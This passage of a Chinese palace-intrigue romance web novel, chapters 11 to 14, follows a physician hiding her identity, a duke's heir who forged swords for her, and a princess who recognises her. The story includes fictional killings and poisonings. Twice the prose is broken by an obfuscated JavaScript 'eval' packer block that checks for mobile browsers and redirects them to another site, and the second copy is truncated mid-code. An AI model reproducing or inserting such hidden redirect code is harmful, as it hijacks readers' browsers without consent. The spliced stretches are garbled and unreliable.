她讪笑回答:“嗯……还挺多的。” “许是早年做了孽,现世报来得太快了。”赵绥宁想的是她之前欺负郁净之的画面。 她也经常踹郁净之。 但是她没学过武,从前娇滴滴养着,力道应该不会和周至一样狠。 “以后,不会有人再这样对你了。”郁净之顿了顿,说。 “那个周至背后有一个主人——” 她和郁净之的声音同时响起。 “我猜他们的目的是要挑起公主和中书令的矛盾,或许……是公主挡了谁的路,那人不想让她过得太舒适。”赵绥宁继续说。她觉得还是告诉郁净之更为妥帖,毕竟有些事,他做着,比她来的要方便。 马被勒住,长长叫出声。 到国公府了。 竹影候在小门。 “嗯,我已知晓。”郁净之跳下马,又牵着她的手将她带下来。 “让竹影带你回院子。”他嘱咐道,“好好休息,明日去见公主殿下。” 赵绥宁走上台阶,看着郁净之依旧牵着缰绳的手,问:“世子不回府吗?” 他摇头,说:“尚有桩要紧事。” 11. 饲养疯狗的第十一天 成帘的雨幕模糊了视线,赵绥宁只记得雨很大。那天,她站在金銮殿外,豆大的雨珠砸落在地,又溅起,将她的裙摆和鞋履浸湿。 素日爱洁净的她视线没有在脏污的襦裙上停留,只紧紧盯着那大殿。雨幕阻隔了视线,赵绥宁便瞪眼瞧。墨黑的鬓发胡乱黏在双颊,任由天水无情拍打。 世事无常。 那年赵绥宁刚行笄礼,来往恭祝之人挤满了占地20亩的赵府,上至皇亲国戚世家大族,下至街头小贩行乞小儿,无有不至。皇后亲自为她加笄,公主为她祝词,皇帝亲赐谕旨封她县主。 短短三日。 赵绥宁从尊贵的县主变成罪臣之女,她爹从一品大员沦为私造军械的罪人,整个赵府,一百多人通通下了大狱。 她觉得有些恍惚,甚至说荒诞。仿佛悬浮在空中,感觉不到实地。 后来的事也记不清了。只依稀听到物件砸在地面,高声的怒斥,还有沉重的闷哼,全都隐匿在盆泼大雨中。 漆黑阴沉的天,压抑的呼吸,无望的恸哭声,黏腻的湿气,阴暗狭窄的空间,扎人的枯草,腐臭的气味。 “宰相赵玄科私造军械,犯上谋逆,处以斩刑。赵府男子年十六以上同罪,其余人皆处绞刑。夷三族。” “部曲、资财、田宅一并没官……” 赵绥宁下意识攥紧被褥,胸膛剧烈起伏,惊惧着瞪开双眼。 又梦到赵府抄家灭族那段日子了。 还好醒来看到的不是杂乱恶心的牢房。 她捂着嘴趴在床边止不住地干呕。 似乎是动静太大,外面的人听到了。隔着门问:“赵医师,可是发生了什么事?” 是竹影的声音。 她猛烈咳起来,扶着椅背桌边,给自己倒了点茶喝。 想了想,赵绥宁披上外衣,打开门,走出去。 “竹影,这么晚了,你没回去睡吗?”她问。 竹影低着头,说:“赵医师,世子叫我守着您。” 她有些意外,正好现在睡不着,不妨和竹影打听些消息。 “竹影,世子去哪里了啊?” “城中打铁铺。” 她张开嘴巴,疑问道:“世子这么晚去做什么?” 竹影埋头:“打铁。” “……” 这主仆俩还真是……如出一辙。去铁匠铺不打铁难道取暖吗…… “咳咳。”她被呛得咳出来,换了个问题,“世子是如何得知我被绑到城外那个地方的啊?” 这回竹影没有立刻回答,犹豫地看了看她,然后埋头。 赵绥宁歪头,说:“你也不知道吗?” 可是,竹影明明是郁净之的贴身随从啊。 竹影摇头:“我知道。” “但是,不太好说。”他慢吞吞摸着剑穗。 “世子不让你和我说吗?” 竹影立刻回答:“没有。” “那就是可以了。”她迫切想知道。 倒是说啊! 竹影磨蹭着看了看她,道:“世子晚上来你院外走,发现你不在。然后得知有个自称公主府送信的小厮跟你说了话,就去把那小厮抓了起来。……然后就知道了。” “就这?”她不信任地盯着竹影,“这你有什么不好同我说的?” 竹影心虚地点头。 事实上,世子一直让他盯着赵姑娘。小厮从进门的时候世子就知道了,然后小厮走的时候就被世子逮住了。原先以为是公主殿下派人来挖墙脚的,便只是警告两句。后来派他去问了才知道,公主府根本没这号人,也没差人送什么信。 于是,世子就把人倒吊在树上,让小白——那只养得高高大大、野性十足的狗在下面等着去咬那人。 直到那人交代出来这桩子烂事。 至于为何他没跟着世子去救人……因为世子让他把那个小厮的尸体扔到三皇子府了。 那尸体上没一块好肉,被小白咬得缺缺烂烂。 竹影打了个寒噤。 他觉得赵医师还是比世子要和善很多的。 如果让赵绥宁听到竹影的心声,她应该会讪笑两声。 她曾经用毒把追杀她的人毒成一滩液体…… “对了,赵医师,世子吩咐给您准备了些许衣物,已经让侍女放进您的柜中了。”竹影说。 她先是看了看她身上洗得发白的浅青色长袍,局促着说:“多谢世子了。” 但等到她看到被塞满得快溢出衣物来的柜子,赵绥宁和竹影面面相觑,她干笑道:“这‘些许’还……挺多啊哈哈。” 她摸了摸料子,眼睛顿时亮了起来,迅速抽出一条襦裙来,上面花纹暗绣,合着金丝银线,十分秀美。 很多衣物,日常穿的襦裙,轻便方便行动的袍子,甚至相配的发带都有。 简直是……完美! 赵绥宁美滋滋地抱着襦裙,脸几乎贴近去,隐约还能闻到淡淡的熏香味,她说:“这是世子答应送我的礼物吗?” 竹影转转眼睛:“应该算吧……” 她连忙在房中搜齐了瓶瓶罐罐的药,一齐塞进竹影手中,说:“竹影兄弟,麻烦你帮我把这些药送给世子吧!” “他的腿今晚运动太过,涂涂药会没能么痛。” 竹影抱着满怀的药,嘴角抽搐:“涂哪瓶……” 赵绥宁正色道:“每一瓶。” “都要涂。” 竹影又说:“可世子让我守着您?” “没事的,我在国公府出不了事。”赵绥宁摆摆手。等把竹影送走她还要炼点儿毒药呢,下次她一定随身携带各种毒药,再碰到这种脑子抽筋的傻货一股脑儿全给他们毒死! “好吧。”半晌,竹影纠结着点头,“那我换人来守您。” 赵绥宁点点头。 于是,没过一会儿—— 一只黑色大狗吐着舌头坐在了赵绥宁旁边。 竹影则是满意地摆手,说:“赵医师放心,小白很是凶悍,有它在,寻常人近不了您身边的。” 竹影潇洒地走了。 等等—— 不是说换人来吗?朋友。 赵绥宁欲哭无泪,转头和“小白”对上脸,尴尬地打了个招呼:“小……小白?” 小白立刻有力地“汪”了声,朝她扑过来,黑色的鼻头凑在她身上闻,边闻边叫,尾巴摇得飞起。 她无辜地眨着眼睛,看向竹影渐渐消失的背影。 别走啊——她,她怕狗! 话说为什么要叫这么大的黑狗“小白”啊!哪个脑子少根筋的家伙取这种名字?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920234|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这边一人一狗相处得十分“和谐”,那边打铁铺也是洋溢着欢快的气息。 天微微亮,远处泛起一抹鱼肚白。郁净之微解衣袍,正在制作剑鞘。 渗着冷光的两柄剑搁在桌旁。 竹影火急火燎地跑进来。 郁净之淡淡扫他一眼,说:“让你守着她。” “世子!赵医师担心您的腿伤,特地让我送药来呢!”竹影笑嘻嘻地捧着瓶瓶罐罐的药给郁净之看。 郁净之唇角扬起,状似随意道:“我没什么大碍,她居然还想着我的腿。” 他用水净了手,再拿丝帕仔细擦拭好,摊在竹影面前。 竹影盯着郁净之的手,长久后赞道:“世子的手皎洁如明月,一共有十根,当真是世上顶顶好的手!旁人同您比都不知要逊色几分呢!” “滚。”郁净之狠狠剜了竹影一眼,朝前一步把竹影怀里的药罐都抢过来,“她给我的你拿着作甚?” 竹影瞪眼:“世子,你不道义!” “去,把城外的尸体处理好。”郁净之也不同竹影玩笑了,嘱咐道。 竹影弱弱问:“怎么个处理法?” “当然是……丢进野外喂狼啊。”郁净之冷笑,又说,“等等……旁边那五具中了毒,直接扔了。那个被刀捅死的男的,丢过去喂狼。” “世子你还会使毒?”竹影又是一惊,“我陪您六年竟不知。” 郁净之但笑不语。 竹影领了命风风火火走,又被郁净之叫住。 正欣喜查看药罐的主子懒散道:“捅死的那个,衣服扒了喂狼。看看是精瘦的肉还是肥得流油。” 竹影被他家世子怪恶心的说法吓得哆嗦了两下,说是。 郁净之得意地看着自己微微发颤的腿,慢慢地收起那些瓶瓶罐罐,珍藏在小匣子里。 凡事都有两面,他的弱势却也是他可利用的强势。 · 今日,京城闹了一个大消息,沸沸扬扬地传遍大街小巷。 那个双腿残废的安国公世子郁净之——他,他又站起来了! 流言一出,众人纷纷警醒,一时间抱头鼠窜。 有怀疑的:“他那腿都断了好些年了,居然还能站起来?骗人的吧?” 有惊叹的:“果真?那给他治病那人当真真是再世神医了!” 有恐慌的:“若陛下再度中用这凶神……” 消息从街头蹿到街尾,坊东传到坊西。 于是,后面听到的人亲眼见证了这条“流言”。 ——郁净之提着两把长剑,悠哉悠哉地穿街走巷,停在了安国公府门口。 众人:甚是恐怖! 最有福的当然是赵绥宁。 昨夜和小白纠缠着你追我赶,累得在门口呼呼大睡,睡得格外安稳。 今日一早被极大极重的东西压醒,一睁眼发现小白整个趴在她身上,像一条厚厚的白毛被子。 惊叫声还没从口中喊出,她便听到院门“吱呀”一声。 风尘仆仆的男人笑眯眯地走进来,那表情极其意味深长。 手上——还提着两把剑! 赵绥宁猛地推开小白,蹦跳起来,吓道:“啊啊啊啊——” 充满期待等着给赵绥宁展示他礼物的郁净之:? 12. 饲养疯狗的第十二天 “赵医师!” “汪!” 一人一狗喊着一起朝她靠近,赵绥宁苦着脸笑,欲哭无泪,颤颤巍巍说:“打住!” 一人一狗又停下,呆呆看着她,似乎在等下一步的指令,神奇地同步。 诡异的感觉…… 她试探着问:“世子一夜没睡不倦吗?” “不。”郁净之格外兴奋地左脚踏出一步,似乎突然意识到什么,又看看她,收回了刚迈出去的左脚,“你休息得怎么样?” “还……还好?”她的表情十分精彩,五官缩成一团,明明苦得要命,却还要违心说好。 小白兴奋地叫了声“汪”,哒哒跑到主人身边,摇着尾巴像在讨赏:人,我把她照顾得很好! 郁净之蹲下来,揉了揉小白的头,问她:“小白很喜欢你,你喜欢它吗?” 小白立刻哒哒转过来,湿漉漉的狗狗眼盯着赵绥宁。 “喜,喜欢。”她又皱着脸苦笑。 一人一狗又乐呵着蹦了起来。 “世子,你送我的礼物……我看到了,我很喜欢。”赵绥宁想转移话题,赶紧夸夸郁净之送的衣服,把这人哄高兴了送回去睡觉。 郁净之眼睛登时闪起光,说:“我就知道你会喜欢!” 他提着手上的两把剑转着挽了个剑花,利刃划破空气带起飒飒风声。 他这次没有想太多,阔步走上前,把两柄沉甸甸的剑一齐交到赵绥宁手中。 赵绥宁则是被着突如其来的毫无防备的重量压得一个趔趄,差点没站稳。她略带疑问地抬头看郁净之,说:“世子,这是何意?” 让她帮他拎着剑吗……不合适吧,她可不是郁净之的随从! “不是你说很喜欢吗?”郁净之不解,“喜欢当然要试试啊?” “现在吗?”她觉得奇怪,拿着剑怎么换衣服啊。但看郁净之这么认真,又怀疑自己是不是会错了意,眼睛眨巴眨巴不停,说:“世子,等我先进去试试?” 郁净之挑眉,稍许又点头。他想,赵绥宁一定很喜欢他给她打的双手剑,欣喜到迫不及待要去试,还是去私密的房中,那便是格外喜欢了!都不舍得让旁人瞥见。 莫名其妙地捧着剑转身准备进入室内换衣服的赵绥宁发现,郁净之这厮十分自然地跟了进来。她吓得瞪大眼睛,把郁净之拦在门外,说:“世子,你跟着我做甚?” “进去看啊。”郁净之坦诚道。 “看什么?”赵绥宁又羞又急,用剑柄推他。 郁净之张手顶住剑柄,奇怪道:“当然是看你试了。” “你你你你你你——” “啪”地一声,门从内而外被关上。郁净之的鼻尖差点被撞到。 “不可以看吗……”他沮丧地说。他想,明明昨天晚上他们还那么好,那么亲近,为什么今早赵绥宁就跟变了个人一样,拒他于千里之外……难道姑娘的心思这么多变吗?还是说是他不够努力…… 小白蹭着他的腿低声叫着。 郁净之又蹲下来,和小白并排坐在台阶上,落寞地和小白说话:“小白,她是不是不喜欢我啊……” “不对!一定是我一夜没睡,容颜憔悴,丑到她了……”他撑着下巴,睫毛轻垂,认真道,“我要开始保养了。” “男子过了二十岁就会容色衰败,揽不住妻子了。” 他如今已经二十一了。 如果小白是人的话,一定会翻个大大的白眼。可惜小白是狗,只会傻傻对着郁净之流哈喇子。 而此刻靠着门后坐着的赵绥宁,耳朵几乎红到滴血。她气鼓鼓地把剑放在地上,把头埋进臂弯,用着气声不停地骂郁净之“登徒子”。 骂着骂着声音变小。她连忙拍拍自己滚烫的脸颊,装作若无其事地站起来,特地挑了件她喜欢的红色襦裙换上了。 换完后,她弯腰捡起剑,深呼吸打开门,看到了并排坐着、貌似格外乖巧的一人一狗。 “吱呀”一声,郁净之紧张地回头。 赵绥宁一身红色襦裙,裙摆上绣着金色的莲花纹样,走动间裙摆上下起伏,似涟漪般鼓动。黑发柔顺地散在肩后,带着一股独属于赵绥宁的冷冷的药香味。在向上看,眉目如画,缱绻含情。微红的耳垂小巧可爱,让人控制不住想喊进去尝尝味道。 郁净之舔唇,看得发痴了。 “汪”! 小白叫得格外欢快,在她裙摆四周环绕着挤。 “怎么样?”赵绥宁觑着郁净之,问。 郁净之愣愣说:“好看……很适合你……” 红色的丝绸、金莲纹样,他第一眼就觉得赵绥宁穿着会很好看。 “舒服吗?”他问。 赵绥宁哼笑着用鼻音说:“……勉勉强强。” “那就好。”郁净之松了口气,“你若喜欢,以后我还给你绣……” “啊?”她惊掉下巴,“这这这是你绣的!” “那那那……柜子里的那些?” 郁净之眨着眼睛,胸脯微微前倾,承认:“都是我绣的。” 她彻底震惊了,原以为郁净之不过会绣些丝帕什么的小物件,没想到这种衣裙他都会绣! 震惊之余她又无端有些羞涩,扯着胸前的系带小声说:“你亲自绣的东西赠予我做甚?!” 郁净之顿了顿,哑声道:“我看你衣着简朴,怕你穿的不好不舒服。” “多谢世子。”她迅速行了个礼,向后退了一步。 总觉得身上的衣裙发烫,郁净之不会在衣服上放了什么东西吧! “怎么突然换衣服啊?”郁净之换了个话题。 赵绥宁炸毛,说:“不是你让我试的吗?” “我看你那么喜欢这两把剑,才给你试来着……”郁净之委屈,“谁知道你抱着它们进去换衣服了……” 她闹了个大红脸,叫道:“什么?你送我的礼物不是衣服吗?” “不是啊……我说了要送你的自然是最特别的、精心准备的,这些衣物我是让竹影拿过来给你的。”郁净之更加奇怪了,“我以为你知道的。” 赵绥宁挂起虚伪的笑,手指不自觉捏上香囊,恨恨呢喃着竹影的名字。竹影,给她等着。 远在城外正在挖坑埋尸体的竹影:怎么觉得背后凉凉的? “那这双手剑,你喜欢吗?”他问。 赵绥宁继续笑,凶狠地从牙缝里挤出两个字:“喜欢。” 郁净之道出其中缘由:“原本我是想给你打把袖箭的。但是,这种终究是有损耗的,且容错太小。所以,我想到了剑。双手剑比单手剑更适合你,若是一只手被架 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郁净之眼中的戾气转瞬即逝,快到看不清。他重新换上了温柔神色,淡淡说:“嗯,去吧。” “哥哥那般稳重的人,若非事不得已,不会找你。他找你必定有要事。” 她迅速往外挪着步子走。 等她走到院门,突然听到一阵急促的、尖锐的犬吠声。赵绥宁立刻回头,回去查看情况,却发现郁净之捂着腿躺在地上,面色发白,唇也失了血色,鬓间冷汗直冒。 这……这,她也没走几步吧? 赵绥宁无奈地坐到台阶上,问:“世子?腿疼?” “我无事……”郁净之虚弱地半睁开眼,“赵医师你快去找哥哥吧,不然他等心急了就不好了。” “腿疼?”她再次问。 郁净之弱弱说:“嗯……” “让竹影给你带的药呢?没擦?”她的声音越来越严肃。 郁净之说:“舍不得。” 她起身向院外走,没有一丝留恋。 郁净之倔强地盯着她的背影,心想,是他不乖、不听话,不怪阿宁。 是他的错,不怪她。是郁安的错,不怪她。 他想着想着,腿部更加抽痛起来。他阖上眼睛,莫名觉得好冷,如置数九寒冬。好冷。 眼角隐约有湿润的液体逗留,坏脾气地要溢出来,却又不掉下去。 真坏,他心想。 他听见一阵脚步声,却没睁开眼,大抵是侍女来扶他了。 郁净之想冷冷说一声“滚”。 却听到一声清丽又无可奈何的询问:“能起来吗?” 他猛地睁开眼。 赵绥宁刚才和院外侍女问了下原委,见不是什么要紧事,就请侍女告知郁安她换个时间去。结果一回来,就看见郁净之这副委屈的、像是被抛弃的可怜兮兮的模样。 她觉得郁净之像从前族中的小孩子,心情一会儿云雨一会儿放晴,变化多端,还喜欢黏着人。 但郁净之终归是为了救她腿没养好,她应该负责任。 “站得起来吗?”她问。 郁净之摇头。 “上来。”赵绥宁背对着郁净之蹲下,示意他上自己的背。 13. 饲养疯狗的第十三天 郁净之屏气上了她的背。 他把头埋在赵绥宁热热的颈窝,小口小口呼吸着她颈侧无法言说的迷人香甜气息,他的背部起伏着,似小山般蜿蜒。 赵绥宁问:“疼得厉害吗?” “嗯?”郁净之的心脏砰砰跳动,吵闹得让他无法听清赵绥宁的话。 她再次说:“疼得厉害吗?” “不疼的。”这次是缱绻的低语,“不疼。” “不必想太多。”郁净之轻声说,“不要有负担。我不坐轮椅是为了让他们知道,我的腿好了。” “救你只是和我的计划不谋而合了。”郁净之很矛盾,他一边利用着赵绥宁的愧疚心想让她留下来、想占据她全部视线,一边又不想她因为自己的腿伤心神不定、日思夜想。 她用手托住郁净之的双腿,尝试站起身来,却发现背上的重量根本没自己想象得那么重,但也不轻,在一个她刚好可以托住的程度。 赵绥宁“嗯”了声,说:“世子,我还是谢你的。若不是你,我也没命了。” 她的声音依旧是从前的音调,但郁净之就莫名觉得,她和他,有些疏远了。 手臂更用力地圈着赵绥宁的脖颈,郁净之抿唇,说:“换做任何时候,我都会去的。” 小白一点没感受到身旁奇妙的氛围,乐乎乎地迈着腿跑着。 赵绥宁觉得自己很是奇怪,明明郁净之说的话是正常的、实际的,可她却莫名恼火,就像被突然浇了盆凉水,对郁净之无端生了些怨怼。大抵是她小姐脾气又发了。郁净之后面说的话让她更加烦躁,她撇嘴,尽力不去想那些,可郁净之的话,郁净之的声音,止不住地在她脑袋里盘旋。 还好接下来郁净之也没继续说话了,只静静趴在她肩上。 竹影此时回来,看着被赵绥宁背着的郁净之瞪大眼睛,说:“世子?赵医师?” 她看到竹影,先前积蓄的乌龙怒气也没了,眼下只想快点把郁净之这厮交给竹影,自己好跑出去散散心。对了,公主府!公主干娘说今天要考验她来着。 “竹影,你主子腿疼,快把他带回去擦药。”她原本想让竹影背郁净之,没想到这厮自己忍着痛从她背上跳了下来。 “不用……”郁净之咬唇看着她,“我自己走。” 她心虚地扭头。 郁净之不死心,依旧盯着她:“你不送我了吗?” “嗯。”她说,“我有事,出去一趟。” “去哪里?”郁净之不依不饶。 她胆子也大起来,回道:“和世子没关系。” “有关系。”郁净之咬破了嘴唇,“我想知道,我要知道。” “我怕你出事。” “不要你管。”她小声说,“你做你的计划去。” 郁净之噤了声,而后轻声问道:“那你还会和我讲……外面的故事吗?” “你答应过我的……” 他惯会装可怜搏注意了,赵绥宁现在才看透郁净之这个人,心想着一定要拒绝,要远离郁净之,她说:“……好吧。” 她发誓,一诺千金,她只是想信守承诺。 “那让竹影同你去。” 她实在受不了和郁净之来来回回争辩了,只得应下来:“好。” “我会等你。”哪怕等不到那天。 · 赵绥宁带着一脸吃瓜表情的竹影进了公主府。门口的仆人一听说她是那位夜宴上救了中书令家二小姐的医师就咧着嘴恭请她进府,说:“殿下盼着您来呢!” 她任由仆人领着进去。 “赵医师,您和世子发生什么了呀?”竹影在后面亦步亦趋地跟着,严重闪烁着八卦的光芒,“我看您表情不好。” 不说还好,一提郁净之,赵绥宁的气就不打一出来。她讨厌那种烦躁的感觉。她讨厌的东西,要么远离,离不开的就用毒弄死。可不能这样对郁净之。她也不知道为什么不能,她想不通。 于是她又朝着竹影撒气:“你不是说那衣物是郁……世子给我的礼物吗?” “不是吗?”竹影摸摸脑袋。 她无语了。 “是是是。”赵绥宁换了个话题攻击,“那你怎么不看着他擦药?我给的药世子一个没涂,现在腿又疼起来,他就造吧。” “这可冤枉了赵医师,非我不想看着,是世子抢了药赶我去清理——”竹影意识到自己差点说漏了嘴,赶忙刹住,“赵医师,世子肯定也想涂的。” “清理什么?”她眯着眼。 “清理……”竹影实在编不出来了,想想既然主子这么看中赵医师,想来也是不介意她知晓的,于是竹影鬼鬼祟祟地凑在赵绥宁耳边,小声说,“清理尸体!” “世子在那里杀了六个人!有五个还是被世子毒死的,死状极惨!尸体丢在那里都没有野兽敢靠近吃,想来是剧毒!还有一个被捅死的,看伤口还不止捅了一刀。世子当真心狠手辣……”竹影评价并语重心长道,“赵医师还是少和世子置气吧。” 殊不知罪魁祸首正站在他面前。 赵绥宁眉眼弯弯,笑了又笑:“那可当真是心、狠、手、辣啊。” “对啊对啊,世子还让我把那个被捅死的人扔去喂狼呢,说要看看他里面到底是瘦肉还是肥肉!”竹影描述地绘声绘色。 她突然又想起自己和郁净之那晚的对话:“看他肌肉紧实”,“定是吃出来的”。她“噗嗤”一声笑出来,顿时消了气。小孩子脾气。 “也不知世子什么时候学的毒?”竹影瑟瑟发抖。 她附和道:“是呀,不知道呢。听着好可怕。” 她快憋不住笑了。 万幸很快到了亭子。 仆人拉着竹影在外等候。 嵇灵韵一袭玄色长衫虚虚拢着,身侧美人伴着,赏心悦目,她说:“小医师,来了?” 赵绥宁缓缓行了个礼,道:“拜见殿下,殿下金安。” “现在过来是想好要开始我的考验了吗?”嵇灵韵下巴微抬,喝了一杯酒,“还是说,念着我上次说要赠予你的那几个美人,这才寻了空过来?” 嵇灵韵挑眉笑着。 “我想试试殿下的考验,我想通过考验,我想做官。”赵绥宁正色,认真道。 她必须要做这些,她必须要调查清楚当年冤案。 “你不怕是什么危险的考验吗?”嵇灵韵问 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“不错。”嵇灵韵说,“本公主喜欢诚实的孩子。” “第二问,你有什么能力呢?既要做官,本公主可不会举荐一个草包上去。”嵇灵韵起身,打量着赵绥宁,“你的医术对朝政可没什么大用。” 能力……治国之策她少有,但她与旁人不同的、比旁人多的,是她在民间生活那几年,她真真切切看到了京城外百姓的生活。不是话本上写的国泰民安,不是京城内的繁花似锦,而是一种荒凉。荒凉中带着无可奈何的生活。 不论什么情形,他们都是照常耕种,照常劳作,哪怕生了疫病,哪怕有了蝗灾。一批人倒下,另一批人又站起来,似乎无穷无尽。可正是这种无穷尽,让她感受到无边的荒凉。 她那时想,人天生就是这样的吗?他们可以不下地,不织衣吗?答案是不可以。疫病来袭他们会有人死,但剩下人还得活着,哭肿了眼睛,整日整夜熬着不睡,也要下地。并非是对土地有多热爱,单纯因为,不下地,不耕作,会饿死。 他们或许不知道人为何而生,为何而死,生死何从,大道理他们没有时间想,没有与之匹配的思想去想。光是活着、仅仅活着,就已经耗尽他们所有的力气了。 把人磨得筋疲力尽、麻麻木木。 陷进了怪圈。 所有人初生时,眼睛都是亮的,亮得发光,水洗过一般干净,可经过半生,又能有多少人眼中有光。 “殿下,我一直在想,人的结局都是固定的,一成不变的。所有人一开始都是牙牙学语的婴儿,结果都是死亡,可每个人都不一样。有的人生来高贵,有的人生来卑贱。”她有些迷茫,“那高贵和低贱又是谁来决定的呢?” 嵇灵韵信步走至赵绥宁身后,不经意般瞥了瞥她的耳后,看到了熟悉的红痣,柔声道:“答案并不重要。” “你只需要知道,事在人为。”嵇灵韵说,“低贱者可以不低贱,高贵者亦可不高贵。” “最后一个问题,你的名字。”嵇灵韵摁上赵绥宁的肩,“告诉我,你的名字。” 14.饲养疯狗的第十四天 赵绥宁低头,垂着眼,瞳孔紧缩。 嵇灵韵这话,是什么意思?嵇灵韵,认出她了吗? 她不敢答。脑中思绪万千,权衡着利弊。她应该告诉嵇灵韵自己的身份吗?毫无疑问,嵇灵韵是她的干娘,是她母亲的挚友,有了她的帮助,自己在复仇路上势必会得到很大的助力。 嵇灵韵是怎么认出她的呢? “殿下,我是郁世子府上的医师,赵岁。”赵绥宁轻声说,“劳殿下挂记着。” 嵇灵韵点点她耳后的红痣,道:“那给本公主讲讲你的故事?” “家住何处?父母做什么的?” 她尴尬地想,怎么每个人都想听她的故事。 在心里编了又编,她堪堪出声:“我是京城人士,家住城东流月坊,父母……父母早逝。” “京城人士?流月坊哪里?”嵇灵韵锐利的视线紧紧盯着她不放,“京城人士又怎会跑到南方,还识得雷公藤那种罕见的毒?” 下巴被嵇灵韵勾起,迫使她不得不对上嵇灵韵的眼睛。公主有一双很美的眼睛,仿佛能看透世间一切。 “你们都下去。” 嵇灵韵驱散了各色美人。 此间,只剩她和嵇灵韵二人。 “小医师?”嵇灵韵吐着气,笑道,“还不说实话?” 赵绥宁憋着气说:“公主殿下逗人玩。” 嵇灵韵顿时轻笑出声,勾住她的肩,亲昵道:“小阿宁,我的乖囡囡,怎么,不愿认干娘?” 她别扭地说:“我不想让干娘掺和进来。” “我三年前就掺和了。”嵇灵韵拍着她的肩,“那时没救下千秋,是我毕生之憾。” “如今,你回到京城,是想查清一切为你爹娘平案吧。我会帮你的,小阿宁。你只管向前走,干娘会做你的后盾,适时为你扫清障碍。”嵇灵韵承诺道,“但你也要学会成长,我不可能永远能顾及到你。等你自身强大起来,才有能力做事。” “听你刚才一席话,我很欣慰。我们的小阿宁变了,懂得了许多,这是好事。”嵇灵韵伸手抚摸赵绥宁的脸,说,“吃了不少苦吧?” 她摇头,说:“不苦。” “比起爹娘所受之刑,阿宁不苦,至少阿宁还活着。”赵绥宁许久没有感受过亲人般的温暖,一时有些哽咽。 “既活着,怎么不来找我?”嵇灵韵问道。 她有些不好意思地摸鼻子,说:“我找过干娘的。但是干娘出游阵仗太大,我刚跑到队伍前就被侍卫拉走了……” 一息不到,就消失在人群中。甚是无奈。 “所以你就找上了郁净之,通过他来见我?”嵇灵韵忍俊不禁。 赵绥宁摇头又点头:“不完全是。一开始只是因为得知世子手中有父亲的线索。后来才发现还可以这样。” “世子?”嵇灵韵挑眉,“叫得这么亲切?你以前不都是直呼其名的吗?” “……亲切吗?”她讷讷张口,“许是叫习惯了。您也都说是以前了,现在我什么都不是……” “你是我的乖女儿啊。”嵇灵韵轻柔抚摸她的头,“干娘会帮你的。” “习惯?” “那可是个恐怖的东西。” “阿宁,你要当心。” 嵇灵韵若有所思道。 她似懂非懂,只能说“好”。但是又止不住好奇,问:“干娘,你怎么认出我的啊?” “看那小子对你的态度啊~”嵇灵韵眯眼笑,“你刚假死那会儿,他可是来我面前发誓只娶你一人的。可是他后来又带着一个姓赵的医师来,那个时候,我就疑心了。他可是对你上心得很呢,但凡在你身边,眼睛没一刻不黏在你身上,恨不得和你融为一体呢~” 赵绥宁的脸“噌”地红了,连脖子都不能幸免。融为一体…… “干娘,你别这么用词……”她半推半拒,“很奇怪。” “奇怪?”嵇灵韵坏笑,“如果这就算奇怪的话,那么郁净之那小子脑子里奇怪的东西多了去了。” “发誓只娶我一人?”赵绥宁又问。 “对啊。他喜欢你呢。”嵇灵韵哼声,“你不知道吗?” 她立刻回道:“不可能啊!他肯定是讨厌我的,毕竟我欺负他那么久!” “是吗……”嵇灵韵不以为然,“他若不喜欢,怎会请旨娶你,还没脑子地自断双腿求皇帝放你一命?他若不喜欢你,怎会在你‘死后’一直穿着素色衣衫,还尽是些粗衣麻布,也不曾让别人进府?” “我可听说,他爹给他找了不少闺阁小姐呢……” 赵绥宁瞪大眼睛,震惊地说不出话来。郁净之的腿,是为她而断?这三年,郁净之一直把她当做妻子守着?郁净之……喜欢她? 脑子顿时乱成一团,怎么理都理不清。她一时间陷入混沌,这简直是她人生中听过最大的笑话。就算郁净之为她断了双腿,就算郁净之把她当做妻子,就算……这些定也是郁净之计划中的一环!同她……也只是碰巧扯上关系。 郁净之……怎么可能喜欢她呢……她一直欺负他啊…… 等等!郁净之不会是有心理上的罕见癖好吧?比如,喜欢被人打之类的…… 嘶。 赵绥宁的脑子更乱了。 这时嵇灵韵打断了她的思绪,岔开了话题,说:“逗你的。” 她气鼓鼓地看着嵇灵韵:“干娘!” “我是看到你的小动作有些疑心,今天又确认了你耳后红痣才认出来的。” 赵绥宁顿时松了口气。郁净之喜欢她这个想法不仅令她费解,更让她害怕。她也不知道怕从何来。只是单纯地不敢面对这个可能性。 “你要做官,我会向圣上举荐。但这不是易事,过了我这关,后面还有很多关等着阿宁去闯。”嵇灵韵拉着赵绥宁坐下,“听闻右相上书要废除荐举,全面推行科举制度呢。你要做两手打算,提前准备考试。” · 皇宫,议事殿东阁。 年过五十的皇帝须发依旧乌黑,精神矍铄,纵面上沟壑重重,也挡不住一股子威严之气。眉型上挑,不怒自威。 “陛下万安。”郁净之跪礼参拜。 “起来。”皇帝颇有兴味地看着郁净之,“阿濯,你的腿好了?” 郁净之点头,说:“是陛下龙恩眷顾。净之无时无刻不想着为陛下效犬马之劳。” 皇帝笑:“是听到你父亲为郁安那孩子请换世子的消息了吧?” “陛下耳目神速。”郁净之没有否认,“陛下自有考量,净之不敢多言。” “放心,你爹的上书朕不会允准。”皇帝淡了神色,“他糊涂朕可清楚,你这孩子,要比郁安能干许多,许多。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922726|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有些人,天生就是在黑暗中生活的料子。”皇帝看着郁净之,评价道,“不过。” 